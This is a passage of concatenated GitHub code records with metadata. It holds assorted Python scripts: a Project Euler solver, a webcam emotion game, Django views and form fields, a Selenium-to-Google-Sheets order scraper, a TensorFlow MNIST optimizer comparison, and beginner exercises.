columns\")\nvc_values.fillna(\"\")\n\n\n# In[ ]:\n\n\n\n\n","repo_name":"AlexanderV/NominatimWrapper","sub_path":"AddressCleanserREST_test.py","file_name":"AddressCleanserREST_test.py","file_ext":"py","file_size_in_byte":10647,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"21"}
+{"seq_id":"18468754833","text":"from time import time\n\nt=time()\nn_max = 7\n\n\nsquare = [i*i for i in range(10)]\ndef next(n) :\n\ts = 0\n\twhile n :\n\t\ts+=square[n%10]\n\t\tn//=10\n\treturn s\n\t# return sum([int(u)**2 for u in str(n)])\n\nmemorized = {}\ndef dynamic_end(n) :\n\tif n==89 or n==1 or n==0:\n\t\treturn n\n\telse :\n\t\ttry : \n\t\t\treturn memorized[n]\n\t\texcept :\n\t\t\tfollowing = dynamic_end(next(n))\n\t\t\tif n<=9*n_max:\n\t\t\t\tmemorized[n] = following\n\t\treturn following\n\n\n\nfirsts = []\nfor i in range(81*n_max+1) :\n\tfirsts.append(dynamic_end(i))\nprint(time()-t)\n\ndef end(n) : \n\treturn firsts[next(n)]\n\n# s = 0\n# for i in range(2,10**n_max) :\n# \tif end(i)==89 :\n# \t\ts+=1\n\nfact = [1]\nm = 1\nfor i in range(1,n_max+1) : \n\tm*=i\n\tfact.append(m)\n\ndef number(l) : \n\tocc = {}\n\tfor u in l :\n\t\ttry :\n\t\t\tocc[u]+=1\n\t\texcept :\n\t\t\tocc[u]=1\n\tt = fact[len(l)]\n\tfor u in occ.values() :\n\t\tt//=fact[u]\n\treturn t\n\ns = 0\nfor a in range(10) :\n\tfor b in range(a,10) :\n\t\tfor c in range(b,10) :\n\t\t\tfor d in range(c,10) :\n\t\t\t\tfor e in range(d,10) :\n\t\t\t\t\tfor f in range(e,10) :\n\t\t\t\t\t\tfor g in range(f,10) :\n\t\t\t\t\t\t\tl = [a,b,c,d,e,f,g]\n\t\t\t\t\t\t\tn = 0\n\t\t\t\t\t\t\tfor u in l :\n\t\t\t\t\t\t\t\tn*=10\n\t\t\t\t\t\t\t\tn+=u\n\t\t\t\t\t\t\tif end(n)==89 :\n\t\t\t\t\t\t\t\ts+=number(l)\nprint(s)\nprint(time()-t)","repo_name":"gabrieldelisle/Euler-project","sub_path":"euler92.py","file_name":"euler92.py","file_ext":"py","file_size_in_byte":1181,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"29522314706","text":"#Author : Shaik Masihullah\n\n\n# Loading the trained model\nfrom keras.models import load_model\nclassifier = load_model('.Trained_model/emotion_little_vgg_new.h5')\n\n# Defining the class labels for prediction\nclass_labels = {0: 'Angry', 1: 'Fear', 2: 'Happy', 3: 'Neutral', 4: 'Sad', 5: 'Surprise'}\n\n# Importing required dependencies \nimport cv2\nimport numpy as np\nfrom time import sleep\nfrom keras.preprocessing.image import img_to_array\nimport random\n\ndef face_detector(img):\n    \"\"\"\n    Returns the detected cropped face after drawing a rectangle box around the face\n    \"\"\"\n\n    # Convert image to grayscale\n    gray = cv2.cvtColor(img,cv2.COLOR_BGR2GRAY)\n    faces = face_classifier.detectMultiScale(gray, 1.3, 5)\n    \n    if faces is ():\n        return (0,0,0,0), np.zeros((48,48), np.uint8), img\n    \n    for (x,y,w,h) in faces:\n        cv2.rectangle(img,(x,y),(x+w,y+h),(255,0,0),2)\n        roi_gray = gray[y:y+h, x:x+w]\n\n    try:\n        roi_gray = cv2.resize(roi_gray, (48, 48), interpolation = cv2.INTER_AREA)\n    except:\n        return (x,w,y,h), np.zeros((48,48), np.uint8), img\n    return (x,w,y,h), roi_gray, img\n\ndef draw_test(im,pred,x,y,w,h):\n    \"\"\"\n    Returns the image after adding the respective emoji of the detected emotion\n    \"\"\"\n\n    img1 = im\n    rows,cols,channels = img1.shape\n    \n    if w<=rows and h<=cols:\n        w = w \n        h = h\n    else:\n        w = rows\n        h = cols\n\n    img2 = cv2.resize(cv2.imread('./emojis/'+ pred + '.png'),(w,h))\n    \n    roi = img1[y:y+h, x:x+w ]\n\n    # Now create a mask of logo and create its inverse mask also\n    img2gray = cv2.cvtColor(img2,cv2.COLOR_BGR2GRAY)\n    ret, mask = cv2.threshold(img2gray, 10, 255, cv2.THRESH_BINARY)\n    mask_inv = cv2.bitwise_not(mask)\n\n    # Now black-out the area of logo in ROI\n    img1_bg = cv2.bitwise_and(roi,roi,mask = mask_inv)\n\n    # Take only region of logo from logo image.\n    img2_fg = cv2.bitwise_and(img2,img2,mask = mask)\n\n    # Put logo in ROI and modify the main image\n    dst = cv2.add(img1_bg,img2_fg)\n    img1[y:y+h, x:x+w ] = dst\n\n    return img1  \n\n\ndef game(boolean,flag,time,image,label,count,fail):\n    \"\"\"\n    Made a fun game using emotions\n    \"\"\"\n    label_position = (20, 50)\n    label_position1 = (20, 90)\n    if boolean == True:\n        r = random.randint(0,5)\n        label = class_labels[r]\n        count = count + 1\n        label_position = (2, 2)\n        flag = True\n        cv2.putText(image, 'Try being ' + label + '?', label_position , cv2.FONT_HERSHEY_SIMPLEX,1, (255,255,255), 3)\n    elif time < 25:\n        cv2.putText(image, 'Try being ' + label + '?', label_position , cv2.FONT_HERSHEY_SIMPLEX,1, (255,255,255), 3)\n    else:\n        cv2.putText(image, 'Try being ' + label + '?', label_position , cv2.FONT_HERSHEY_SIMPLEX,1, (255,255,255), 3)\n        cv2.putText(image, 'Wrong, Try again!', label_position1 , cv2.FONT_HERSHEY_SIMPLEX,1, (255,255,255), 3)\n        if flag == True:\n            fail = fail + 1\n            flag = False\n        \n    return image,label,count,fail,flag\n        \n\n\nface_classifier = cv2.CascadeClassifier('./Haarcascades/haarcascade_frontalface_default.xml')\ncap = cv2.VideoCapture(0)\n\nboolean = True\nq = class_labels[3]\ntime = 0\ncount = 0\nfail = 0\nflag = False\nwhile True:\n    time = time + 1\n    ret, frame = cap.read()\n    rect, face, image = face_detector(frame)\n    BLACK = [0,0,0]\n    image = cv2.copyMakeBorder(image,300, 0, 0,0 ,cv2.BORDER_CONSTANT,value=BLACK)\n    if np.sum([face]) != 0.0:\n        roi = face.astype(\"float\") / 255.0\n        roi = img_to_array(roi)\n        roi = np.expand_dims(roi, axis=0)\n        image,q,count,fail,flag = game(boolean,flag,time,image,q,count,fail)\n\n\n        # make a prediction on the ROI, then lookup the class\n        preds = classifier.predict(roi)[0]\n        label = class_labels[preds.argmax()]  \n        predicted = draw_test(image,label,rect[0],rect[1],rect[2],rect[3])\n        if q == label:\n            boolean = True\n            time = 0\n        else:\n            boolean = False\n    else:\n        predicted = image\n        cv2.putText(predicted, \"No Face Found\", (20, 60) , cv2.FONT_HERSHEY_SIMPLEX,2, (0,255,0), 3)\n\n    cv2.imshow('Emojinator', predicted)\n    if cv2.waitKey(1) == 13 or count == 10: #13 is the Enter Key\n        break\n\ncap.release()\ncv2.destroyAllWindows()    \nprint('Your Score : ' + str(count-fail) + '/' + str(count)) \n","repo_name":"Masihullah17/emojination","sub_path":"Emojination.py","file_name":"Emojination.py","file_ext":"py","file_size_in_byte":4370,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"11172969112","text":"## Santosh Khadka\n'''\nbuilt in exceptions: https://docs.python.org/3/library/exceptions.html\n'''\ndef input_test():\n    try:\n        #f = open('testfile.txt', 'w')  # No error\n        f = open('testfile.txt', 'r')   # Causes OS Error\n        f.write(\"Write a test line\")\n    except TypeError:\n        print(\"There was a type error!\")\n    except OSError:\n        print(\"There was an OS Error!\")\n    except: # All other exceptions\n        print(\"Other error!\")\n    finally:\n        print(\"Attempt over.\")\n\n\ndef ask_for_int():\n    print(\"====================\")\n    while True:\n        try:\n            number = int(input(\"Enter a number: \"))\n        except:\n            print(\"That was not a number!\")\n        else:\n            print(\"Correct input!\")\n            break       # will break loop once correct input is entered\n        finally:\n            print(\"End of this attempt!\")\n            print(\"====================\")\n            \n#input_test()\nask_for_int()","repo_name":"skhadka007/learning_algos","sub_path":"Learning-python/Section 10 - Errors and Exception Handling/errorHandling2.py","file_name":"errorHandling2.py","file_ext":"py","file_size_in_byte":961,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"11130878675","text":"from django.http import HttpResponse, HttpResponseRedirect, Http404\nfrom django.template.context import Context, RequestContext\nfrom django.shortcuts import render_to_response\nfrom django.contrib.auth.models import User\nfrom users.forms import *\nfrom users.models import *\nfrom FBHack.likes.models import *\nfrom django.contrib.auth import authenticate, login as auth_login, logout as auth_logout\nimport urllib, json\nfrom django.conf import settings\nimport datetime\n\ndef home(request):\n  if request.user.is_authenticated():\n    users = FBUserProfile.objects.all()\n    target = urllib.urlopen('https://graph.facebook.com/Shaastra/posts?limit=50&access_token='+ settings.FACEBOOK_APP_ACCESS_TOKEN).read()\n    response = json.loads(target)    \n    data = response['data']\n    can_like=0\n    can_share=0\n    for p in data:\n      try:\n        likes = p['likes']['count']\n        can_like=1\n      except:\n        likes=0\n        can_like=0\n      try:\n        shares = p['shares']['count']\n        can_share=1\n      except:\n        shares=0\n        can_share=0\n      if not can_like and not can_share :\n        continue\n      post_id = p['id']\n      try:\n        desc = p['message']\n      except:\n        try:\n          desc = p['story']\n        except:\n          try:\n            desc = p['caption']\n          except:\n            desc = p['name']\n      link = p.get('link',\"http://www.facebook.com/Shaastra\")\n      try:\n        picture = p['picture']\n      except:\n      \tpicture = \"\"\n      try:\n        old_post = FBPosts.objects.get(post_id=p['id'])\n        old_post.likes = likes\n        old_post.shares = shares\n        old_post.save()\n        continue\n      except:\n        new_post = FBPosts(desc=desc, post_id = post_id, likes=likes, shares=shares, link = link, picture = picture)\n        new_post.created_time = datetime.datetime.strptime( p['created_time'][:-5], \"%Y-%m-%dT%H:%M:%S\" )\n        new_post.save()\n    posts = FBPosts.objects.all()\n    posts=posts.order_by('-id')\n    add_form = AddForm()\n    #assert False\n    return render_to_response('users/home.html', locals(), context_instance=RequestContext(request))  \n  return HttpResponseRedirect(settings.SITE_URL + 'login/')\n\ndef login(request):\n  if request.method==\"POST\":\n    username = request.POST.get('username', '')\n    password = request.POST.get('password', '')\n    user = authenticate(username=username, password=password)\n    if user is not None and user.is_active:\n      auth_login(request, user)\n    return HttpResponseRedirect(settings.SITE_URL)\n    msg = 'Invalid Username or Password.'\n    login_form = LoginForm()\n    return render_to_response('users/login.html', locals(), context_instance=RequestContext(request))\n  login_form = LoginForm()\n  return render_to_response('users/login.html', locals(), context_instance=RequestContext(request))\n\ndef register(request):\n  return render_to_response('users/register.html', locals(), context_instance=RequestContext(request))\n\ndef logout(request):\n  auth_logout(request)\n  return HttpResponseRedirect(settings.SITE_URL)\n","repo_name":"mhtkmr54/FB_hack","sub_path":"users/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3039,"program_lang":"python","lang":"en","doc_type":"code","stars":68,"dataset":"github-code","pt":"21"}
+{"seq_id":"27908096643","text":"import pandas as pd\r\nfrom openpyxl import load_workbook\r\nimport gspread\r\nfrom oauth2client.service_account import ServiceAccountCredentials\r\nfrom selenium import webdriver\r\nfrom selenium.webdriver.support.ui import WebDriverWait\r\nfrom selenium.webdriver.common.by import By\r\nfrom selenium.webdriver.support import expected_conditions as EC\r\nimport shutil, os\r\nfrom datetime import date\r\nimport datetime\r\nimport time\r\nfrom collections import Counter\r\n\r\nplanilhaEditada = \"KPI's Interno\"\r\nscope = [\"https://spreadsheets.google.com/feeds\",'https://www.googleapis.com/auth/spreadsheets',\"https://www.googleapis.com/auth/drive.file\",\"https://www.googleapis.com/auth/drive\"]\r\n\r\ncreds = ServiceAccountCredentials.from_json_keyfile_name(\"creds.json\", scope)\r\n\r\nclient = gspread.authorize(creds)\r\n\r\n#Seleciona o arquivo que estarei visualizando / editando.\r\nsheet2 = client.open(planilhaEditada).worksheet(\"KPI's\")\r\nsheet = client.open(planilhaEditada).worksheet(\"Farmácias\") \r\n\r\nano = '2021'\r\nmes = '12'\r\n\r\n#TO DO = RESOLVER COLUNAS\r\ncoluna = 13\r\n\r\nopt = webdriver.ChromeOptions() \r\nopt.add_experimental_option(\"excludeSwitches\", [\"enable-automation\"])\r\nopt.add_experimental_option('useAutomationExtension', False)\r\nopt.add_argument(\"--window-size=1034,620\")\r\n\r\ndriver = webdriver.Chrome(options=opt, executable_path= r'C:\\Users\\Take4\\Documents\\Saves\\chromedriver_win32\\chromedriver.exe')\r\n\r\ndriver.get(\"https://homolog.farmazon.com.br\")\r\n\r\nmail_addressDjango = \"-\"\r\npasswordDjango = \"-\"\r\n\r\n#Autenticação no Django.\r\nWebDriverWait(driver, 60).until(EC.element_to_be_clickable((By.NAME, \"username\"))).send_keys(mail_addressDjango)\r\nWebDriverWait(driver, 60).until(EC.element_to_be_clickable((By.NAME, \"password\"))).send_keys(passwordDjango)\r\nWebDriverWait(driver, 60).until(EC.element_to_be_clickable((By.XPATH, '/html/body/div/div/form[2]/button'))).click()\r\n\r\ndriver.get('https://homolog.farmazon.com.br/api/orders/?format=json&limit=5000')\r\n\r\nwith open('farmacias.txt', 'w') as f:\r\n    f.write(driver.page_source)\r\n\r\narquivo25 = (r'C:\\Users\\Take4\\Desktop\\KPI\\\\farmacias.txt')\r\n\r\n#Arquivo TXT salvo é lido para ver quantas repeticoes do \"create time\" + ano + mes existem.\r\nf25 = open(arquivo25)\r\nfile_contents25 = f25.read()\r\n\r\nfirstOrder = file_contents25.split('\",\"create_time\":\"' + ano + \"-\" + mes, 1)[1]\r\nlastOrder2 = firstOrder.split(',\"url\"', 1)[0]\r\nlastOrder = lastOrder2.split(',{\"id\":', 1)[1]\r\n\r\nultimoPedidoDoMes = int(lastOrder) + 1\r\n\r\n\r\ndef lendoPedidos(pedidoMes):\r\n    driver.get('https://homolog.farmazon.com.br/api/orders/'+ str(pedidoMes) +'/?format=json')\r\n    with open('farmacias2.txt', 'w', encoding = 'utf-16') as f:\r\n        f.write(driver.page_source)\r\n    arquivos2 = (r'C:\\Users\\Take4\\Desktop\\KPI\\\\farmacias2.txt')\r\n    f2 = open(arquivos2, encoding = 'utf-16')\r\n    file_contents2 = f2.read()\r\n    lendoData = file_contents2.count(',\"create_time\":\"' + ano + '-' + mes)\r\n    lendoData2 = file_contents2.count('},\"create_time\":\"' + ano + '-' + mes)\r\n    if lendoData == 1 or lendoData2 == 1:\r\n        return ('true')\r\n    else:\r\n        return ('false')\r\n    f2.close()\r\n\r\n\r\nfarmacias = []\r\nwhile lendoPedidos(ultimoPedidoDoMes) == 'true':\r\n    \r\n    with open('recorrencias.txt', 'w', encoding = 'utf-16') as f:\r\n        f.write(driver.page_source)\r\n    arquivos3 = (r'C:\\Users\\Take4\\Desktop\\KPI\\\\recorrencias.txt')\r\n    f3 = open(arquivos3, encoding = 'utf-16')\r\n    file_contents3 = f3.read()\r\n    customer1IDCount = file_contents3.count('\"customer_id\":\"3\"')\r\n    customer2IDCount = file_contents3.count('\"customer_id\":\"1023\"')\r\n    customer3IDCount = file_contents3.count('\"customer_id\":\"1112\"')\r\n    customer4IDCount = file_contents3.count('\"customer_id\":\"1\"')\r\n    customer5IDCount = file_contents3.count('\"customer_id\":\"932\"')\r\n    customer6IDCount = file_contents3.count('\"customer_id\":\"1167\"')\r\n    customer7IDCount = file_contents3.count('\"customer_id\":\"5\"')\r\n    cancelCount = file_contents3.count('\"cancelado\"')\r\n    realCount1 = file_contents3.count('},\"create_time\":\"'+ano+'-'+mes)\r\n    realCount2 = file_contents3.count('l,\"create_time\":\"'+ano+'-'+mes)\r\n    contagemEntregue = file_contents3.count('entregue')\r\n    pagamentoContagem = file_contents3.count('\"operator_payment_id\":')\r\n    storeNull = file_contents3.count(',\"store\":null,')\r\n    if realCount1 == 1 or realCount2 == 1:\r\n        if customer1IDCount == 1 or customer2IDCount == 1 or customer3IDCount == 1 or customer4IDCount == 1 or customer5IDCount == 1 or customer6IDCount == 1 or customer7IDCount == 1:\r\n            pass\r\n        elif cancelCount == 2:\r\n            pass\r\n        elif storeNull == 1:\r\n            pass\r\n        elif contagemEntregue == 2 or pagamentoContagem == 1:\r\n            Id2 = file_contents3.split(':{\"url\":\"', 1)[1]\r\n            ID = Id2.split('\",\"country\":', 1)[0]\r\n            ID3 = ID.split('\",\"name\":\"', 1)[1]\r\n            farmacias.append(ID3)\r\n            print (\"Pedido nº: \" + str(ultimoPedidoDoMes) + \" |||  Farmacia: \" + str(ID3))\r\n        else:\r\n            #Azedou\r\n            print (\"Verificar: \" + str(ultimoPedidoDoMes))\r\n    else:\r\n\r\n        f3.close()\r\n        break\r\n    \r\n    ultimoPedidoDoMes -= 1\r\n    \r\ndriver.close()\r\nprint (farmacias)\r\n\r\ncontagemRecorrenciasFarmacias = (Counter(farmacias))\r\n\r\nprint (contagemRecorrenciasFarmacias)\r\n\r\nfarmaciasComPeloMenos1Pedido = (len(contagemRecorrenciasFarmacias))\r\n\r\nlinhaFarmacias = 17\r\n\r\nif ano == \"2021\":\r\n    Mes = int(mes) + 19\r\nelif ano == \"2022\":\r\n    Mes = int(mes) + 31\r\n    \r\nsheet2.update_cell (linhaFarmacias, Mes, farmaciasComPeloMenos1Pedido)\r\n\r\n######################################################################################################\r\n\r\ndef lendo (mes):\r\n    mes = mes.replace('Counter', '')\r\n    mes = mes.replace('({', '')\r\n    mes = mes.replace('})', '')\r\n    mes = mes.replace(\"'\", \"\")\r\n    mes = mes.replace(',', \"','\")\r\n    mes = mes.replace(\"',' \", \"','\")\r\n    mes = mes.replace(\"'\", \"\")\r\n    \r\n    mes2 = mes.split(',')\r\n    return mes2\r\n\r\nMes = str(contagemRecorrenciasFarmacias)\r\n\r\n\r\n\r\narray = lendo(Mes)\r\n\r\nindex = 0\r\nlinha = len(sheet.get_all_values()) + 1\r\n\r\n\r\n#WHILE LOOP PARA INSERIR NOVAS FARMACIAS NA PLANILHA CASO ELAS NAO ESTEJAM LA AINDA.\r\nwhile index < len(array):\r\n    farmacia = array[index].split(':', 1)[0]\r\n    numerosFarmacia = array[index].split(': ', 1)[1]\r\n   \r\n    valor2 = sheet.cell(linha, 1).value\r\n\r\n    print (farmacia)\r\n    \r\n    cell = sheet.findall(farmacia, in_column=1)\r\n    \r\n    cell = str(cell)\r\n\r\n    if 'Cell' not in cell: \r\n        sheet.update_cell(linha, 1, farmacia)\r\n        linha += 1\r\n    \r\n    else:\r\n        pass\r\n\r\n    index += 1\r\n    \r\n#WHILE LOOP PARA INSERIR QUANTIDADE DE PEDIDOS DE CADA FARMACIA.\r\nlinha2 = 2\r\nindex2 = 0\r\n\r\nwhile index2 < len(array):\r\n    farmacia = array[index2].split(':', 1)[0]\r\n    numerosFarmacia = array[index2].split(': ', 1)[1]\r\n   \r\n    valor2 = sheet.cell(linha2, 1).value\r\n    \r\n    localizadorLinha = (sheet.find(farmacia))\r\n    \r\n    localizadorLinha1 = str(localizadorLinha)\r\n    \r\n    localizadorLinha2 = localizadorLinha1.replace('<Cell R', '').replace('C1', '').replace(farmacia, '').replace(\" ''>\", '')\r\n\r\n    sheet.update_cell(localizadorLinha2, coluna, numerosFarmacia)\r\n\r\n    index2 += 1\r\n        \r\n    \r\nlinha3 = 2\r\n\r\nwhile linha3 < 19:\r\n    valor3 = sheet.cell(linha3, coluna).value\r\n    if len(valor3) == 0:\r\n        sheet.update_cell(linha3, coluna, 0)\r\n    linha3 += 1\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","repo_name":"AndreBastosB/KPI-sFZN","sub_path":"FarmaciasComPedidosMes.py","file_name":"FarmaciasComPedidosMes.py","file_ext":"py","file_size_in_byte":7418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"19960895224","text":"from django.core import validators\nfrom django.core.exceptions import ValidationError\nfrom django.forms import Field\nfrom django.utils.translation import ugettext_lazy as _\n\nfrom widgets import MultiFileInput\n\nclass MultiFileField(Field):\n    \"\"\"A multiple-valued file input field.\"\"\"\n    \n    widget = MultiFileInput\n    default_error_messages = {\n        'invalid': _(u\"No file was submitted! Check the encoding type on the form.\"),\n        'missing': _(u\"No file was submitted.\"),\n        'empty': _(u\"The submitted file is empty.\"),\n        'max_length': _(u'Ensure this filename has at most %(max)d characters (it has %(length)d).'),\n    }\n\n    def __init__(self, *args, **kwargs):\n        self.max_length = kwargs.pop('max_length', None)\n        super(MultiFileField, self).__init__(*args, **kwargs)\n\n    def to_python(self, data):\n        \"\"\"Validate and Pythonise the value from the Widget.\"\"\"\n        if data in validators.EMPTY_VALUES:\n            return None\n\n        for datum in data:\n            # UploadedFile objects should have name and size attributes.\n            try:\n                file_name = datum.name\n                file_size = datum.size\n            except AttributeError:\n                raise ValidationError(self.error_messages['invalid'])\n\n            if self.max_length is not None and len(file_name) > self.max_length:\n                error_values =  {'max': self.max_length, 'length': len(file_name)}\n                raise ValidationError(self.error_messages['max_length'] % error_values)\n            if not file_name:\n                raise ValidationError(self.error_messages['invalid'])\n            if not file_size:\n                raise ValidationError(self.error_messages['empty'])\n\n        return data\n\n    def clean(self, data, initial=None):\n        if not data and initial:\n            return initial\n        return super(MultiFileField, self).clean(data)\n","repo_name":"ross/django-multifile","sub_path":"multifile/forms/fields.py","file_name":"fields.py","file_ext":"py","file_size_in_byte":1900,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"30632162883","text":"\n\n# def staircase(n):\n    \n#     # Verifica se n é negativo e lança uma exceção em caso afirmativo\n#     if n < 0:\n        \n#         raise ValueError(\"n deve ser não negativo\")\n    \n#     # Define a string \"s\" como um espaço em branco e a string \"x\" como uma cerquilha (#)\n#     s = \" \"\n#     x = \"#\"\n    \n#     # Inicializa uma lista vazia que será usada para armazenar as linhas da escada\n#     linhas = []\n    \n#     # Percorre um loop de 0 a n - 1 (inclusive)\n#     for i in range(n):\n        \n#         # Cria uma nova linha da escada, com \"n - (i + 1)\" espaços em branco seguidos de \"(i + 1)\" cerquilha(s)\n#         linha = s * (n - (i + 1)) + x * (i + 1)\n        \n#         # Adiciona a nova linha à lista de linhas\n#         linhas.append(linha)\n        \n#     # Retorna a lista de linhas como uma única string, com cada linha separada por uma quebra de linha\n#     return \"\\n\".join(linhas)\n\n# def staircase(n):\n    \n#     if n < 0:\n#         raise ValueError(\"n deve ser não negativo\")\n    \n#     linha = \"\"\n    \n#     for i in range(1, n):\n        \n#         return (\" \" * (n - i) + \"#\" * i)\n    \n#     return (\"#\" * n)\n\ndef staircase(n):\n    \n    space = ' '\n    hashtag = '#'\n    for i in range(n):\n        j = n-1-i\n        k = i+1\n        return(space*j + hashtag*k)\n    \n\n\nif __name__ == \"__main__\":\n\n    n = int(input().strip())\n    \n    staircase(n)\n\n    resultado = staircase(n)\n\n    print(resultado)","repo_name":"diegotpereira/Desafio-hackerrank-python","sub_path":"Algorithms/Warmup/Staircase/tests/staircase.py","file_name":"staircase.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"40215032337","text":"import psutil\nimport csv\nimport matplotlib.pyplot as plt\nfrom datetime import datetime\n\nimport time\n\n# Create an empty list to store the battery data\nbattery_data = []\n\n# Get the current battery percentage and timestamp\n\nt1 = time.time()\n\nwhile time.time()-t1 <= 5.0:\n    battery_percent = psutil.sensors_battery().percent\n    timestamp = datetime.now()\n\n    # Append the battery data to the list\n    battery_data.append([timestamp, battery_percent])\n\n    # Write the battery data to a CSV file\n    with open('data.csv', 'w', newline='') as file:\n        writer = csv.writer(file)\n        writer.writerow(['Timestamp', 'Battery Percentage'])\n        writer.writerows(battery_data)\n\n    time.sleep(0.1)\n\n\n\n\nwith open('data.csv', 'r') as file:\n    reader = csv.reader(file)\n    next(reader)  # Skip the header row\n    battery_data = [[datetime.strptime(row[0], '%Y-%m-%d %H:%M:%S.%f'), int(row[1])] for row in reader]\n\ntimestamps = [data[0] for data in battery_data]\nbattery_percentages = [data[1] for data in battery_data]\nplt.plot(timestamps, battery_percentages)\nplt.xlabel('Time')\nplt.ylabel('Battery Percentage')\nplt.draw()\nplt.pause(0.001)\n\n\nplt.show()\n","repo_name":"paraskhosla3903/battery-analyser","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1157,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26397559591","text":"#!/usr/bin/env python\nimport tensorflow as tf\nimport read_inputs\nimport numpy as N\nimport matplotlib.pyplot as plt\nimport time\n\nstart = time.time()\n\n# read data from file\ndata_input = read_inputs.load_data_mnist('MNIST_data/mnist.pkl.gz')\n# FYI data = [(train_set_x, train_set_y), (valid_set_x, valid_set_y), (test_set_x, test_set_y)]\ndata = data_input[0]\n# print ( N.shape(data[0][0])[0] )\n# print ( N.shape(data[0][1])[0] )\n\n# data layout changes since output should an array of 10 with probabilities\nreal_output = N.zeros((N.shape(data[0][1])[0], 10), dtype=N.float)\nfor i in range(N.shape(data[0][1])[0]):\n    real_output[i][data[0][1][i]] = 1.0\n\n# data layout changes since output should an array of 10 with probabilities\nreal_check = N.zeros((N.shape(data[2][1])[0], 10), dtype=N.float)\nfor i in range(N.shape(data[2][1])[0]):\n    real_check[i][data[2][1][i]] = 1.0\n\n# set up the computation. Definition of the variables.\nx = tf.placeholder(tf.float32, [None, 784])\nW = tf.Variable(tf.zeros([784, 10]))\nb = tf.Variable(tf.zeros([10]))\ny = tf.nn.softmax(tf.matmul(x, W) + b)\ny_ = tf.placeholder(tf.float32, [None, 10])\n\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(y_ * tf.log(y), reduction_indices=[1]))\n\noptimizers = [tf.train.GradientDescentOptimizer(0.01),\n              tf.train.AdadeltaOptimizer(0.01),\n              tf.train.AdagradOptimizer(0.01),\n              tf.train.MomentumOptimizer(0.01, 0.9),\n              tf.train.AdamOptimizer(0.01),\n              tf.train.FtrlOptimizer(0.01),\n              tf.train.ProximalGradientDescentOptimizer(0.01),\n              tf.train.ProximalAdagradOptimizer(0.01),\n              tf.train.RMSPropOptimizer(0.01)\n              ]\n\n# learning_rates = [0.005, 0.001, 0.002, 0.0001, 0.00001]\n# learning_rates = [0.9, 0.5, 0.1, 0.05, 0.01, 0.001, 0.0001]\nfor optimizer in optimizers:\n    train_step = optimizer.minimize(cross_entropy)\n\n    sess = tf.InteractiveSession()\n    tf.global_variables_initializer().run()\n\n    # TRAINING PHASE\n    print(\"TRAINING\")\n\n    correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1))\n    accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n    loss = []\n    iterations = []\n    for i in range(500):\n        batch_xs = data[0][0][100 * i:100 * i + 100]\n        batch_ys = real_output[100 * i:100 * i + 100]\n        sess.run(train_step, feed_dict={x: batch_xs, y_: batch_ys})\n        loss.append(1 - sess.run(accuracy, feed_dict={x: data[2][0], y_: real_check}))\n        iterations.append(i)\n        print(loss[i])\n\n    plt.legend()\n\n    # CHECKING THE ERROR\n    print(\"ERROR CHECK\")\n\n    correct_prediction = tf.equal(tf.argmax(y, 1), tf.argmax(y_, 1))\n    accuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n    plt.plot(iterations, loss, label=(\"Solver = \" + optimizer.get_name() + \". Acc = \" + str(sess.run(accuracy, feed_dict={x: data[2][0], y_: real_check}))))\n\n\nplt.show()\nend = time.time()\ntotalTime = end - start\nf = open(f'singlelayer_time{totalTime}.txt', 'w')\nf.write(f'this is the  time {totalTime}')\nf.close()","repo_name":"Pomis/DL4","sub_path":"singlelayer.py","file_name":"singlelayer.py","file_ext":"py","file_size_in_byte":3045,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"18742384318","text":"#!/usr/bin/env python3\n\nimport numpy as np\n\nfrom lib.submitWithConfiguration import submitWithConfiguration, formatter\nfrom sigmoid import sigmoid\nfrom costFunction import costFunction\nfrom costFunctionReg import costFunctionReg\nfrom predict import predict\n\n\ndef submit():\n    conf = {}\n    conf['assignmentSlug'] = 'logistic-regression'\n    conf['itemName'] = 'Logistic Regression'\n    conf['partArrays'] = [\n        [\n            '1',\n            ['sigmoid.m'],\n            'Sigmoid Function',\n        ],\n        [\n            '2',\n            ['costFunction.m'],\n            'Logistic Regression Cost',\n        ],\n        [\n            '3',\n            ['costFunction.m'],\n            'Logistic Regression Gradient',\n        ],\n        [\n            '4',\n            ['predict.m'],\n            'Predict',\n        ],\n        [\n            '5',\n            ['costFunctionReg.m'],\n            'Regularized Logistic Regression Cost',\n        ],\n        [\n            '6',\n            ['costFunctionReg.m'],\n            'Regularized Logistic Regression Gradient',\n        ],\n    ]\n    conf['output'] = output\n\n    submitWithConfiguration(conf)\n\n\ndef output(partId):\n    # Random Test Cases\n    X = np.stack([np.ones(20), np.exp(1) * np.sin(np.arange(1, 21)), np.exp(0.5) * np.cos(np.arange(1, 21))], axis=1)\n    y = np.reshape((np.sin(X[:, 0] + X[:, 1]) > 0).astype(float), (20, 1))\n    if partId == '1':\n        out = formatter('%0.5f ', sigmoid(X))\n    elif partId == '2':\n        out = formatter('%0.5f ', costFunction(np.reshape(np.array([0.25, 0.5, -0.5]), (3, 1)), X, y))\n    elif partId == '3':\n        cost, grad = costFunction(np.reshape(np.array([0.25, 0.5, -0.5]), (3, 1)), X, y)\n        out = formatter('%0.5f ', grad)\n    elif partId == '4':\n        out = formatter('%0.5f ', predict(np.reshape(np.array([0.25, 0.5, -0.5]), (3, 1)), X))\n    elif partId == '5':\n        out = formatter('%0.5f ', 